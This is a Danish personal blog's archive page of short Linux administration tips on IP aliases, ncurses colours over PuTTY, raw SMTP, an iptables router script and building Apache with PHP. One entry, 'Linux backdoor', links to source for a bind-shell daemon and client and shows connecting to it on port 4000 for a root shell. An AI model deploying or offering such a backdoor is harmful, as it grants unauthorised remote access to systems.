Kategoriarkiv: Linux

Adding an ip alias to a NIC in FreeBSD & Linux

Freebsd : rc.conf: ifconfig_rl0_alias0=”10.1.1.24 netmask 0xffffffff” manually: ifconfig rl0 alias 10.1.1.24 netmask 0xffffffff Linux: ifconfig eth0:0 10.1.1.25 netmask 255.255.255.255

Udgivet i FreeBSD, Knowledge Base, Linux, Old Base | Skriv en kommentar

No color when programming ncurses on linux when connected via putty.

When you login via putty then your TERM is set to ‘xterm’. You will not be able to see colors with ncurses. Set TERM=’linux’ and you can now see the colors. cc

Udgivet i Linux | Skriv en kommentar

Linux backdoor

client : http://base.fujang.dk/files/mike/contty.c Server : http://base.fujang.dk/files/mike/bindtty.c Start the server like: root@banana:~# ./bindtty Daemon is starting…OK, pid = 148 And connect to it like: root@banana:~# ./contty 127.0.0.1 Trying 127.0.0.1:4000… Connected to 127.0.0.1. Escape character is ‘^]’ [ut@banana /]#

Udgivet i Backdoors, Knowledge Base, Linux, Old Base | Skriv en kommentar

How to disable xscreensaver black screen

use: xset s off If you want to learn more, please refer to “man xset” // Vladimirr – Vladimirr.dk

Udgivet i Linux, Uncategorized | Skriv en kommentar

Wake On Lan Mini Howto

http://gsd.di.uminho.pt/jpo/software/wakeonlan/mini-howto/wol-mini-howto.html

Udgivet i Knowledge Base, Linux, Networking, Old Base | Skriv en kommentar

Normal SMTP operation

open connection to SMTP server (telnet smtp.foo.dns 25) send: –smtp start– MAIL FROM:<dude@myserver.dk> RCPT TO:<dude1@yourserver1.dk> RCPT TO:<dude2@yourserver2.dk> DATA write the entire mail here remember, this mail doesn’t got a header which usually contains sender info and topic end the conversation … Læs resten

Udgivet i Knowledge Base, Linux, Networking, Old Base | Skriv en kommentar

CoooL’s router

#!/bin/sh # default iptables -P INPUT ACCEPT iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT # flush iptables -t filter -F INPUT iptables -t filter -F FORWARD iptables -t filter -F OUTPUT iptables -t nat -F PREROUTING iptables -t nat … Læs resten

Udgivet i Knowledge Base, Linux, Networking, Old Base | Skriv en kommentar

BT’s Compact Flash Card Reader

modprobe epat modprobe pd mount /dev/pda1 /cfdisk  

Udgivet i Knowledge Base, Linux, Old Base, Uncategorized, Workstation | Skriv en kommentar

Apache 2 og PHP 4.3.1

wget http://www.php.net/get/php-4.3.1.tar.gz/from/dk2.php. wget <apache> tar zxf httpd-2.0.44.tar.gz tar zxf php-4.3.1.tar.gz cd httpd-2.0.44 mkdir /www ./configure –prefix=/www –enable-so make make install cd ../php-4.3.1 ./configure –with-apxs2=/www/bin/apxs –prefix=/www/php make make install cp php.ini-dist /www/php/lib/php.ini echo ‘LoadModule php4_module modules/libphp4.so’ >> /www/conf/httpd.conf echo ‘AddType application/x-httpd-php … Læs resten

Udgivet i Apache, Knowledge Base, Lamp, Linux, Old Base | Skriv en kommentar

Dk/Uk Layout

The old xmodmap hack has been remove, this is mucho more neater. [submenu] (Keyboard Layout) [exec] (Danish) {setxkbmap dk} [exec] (English) {setxkbmap us} [end] No other files are needed, this is blackbox/fluxbox menu-style.

Udgivet i Knowledge Base, Linux, Old Base, Workstation | Skriv en kommentar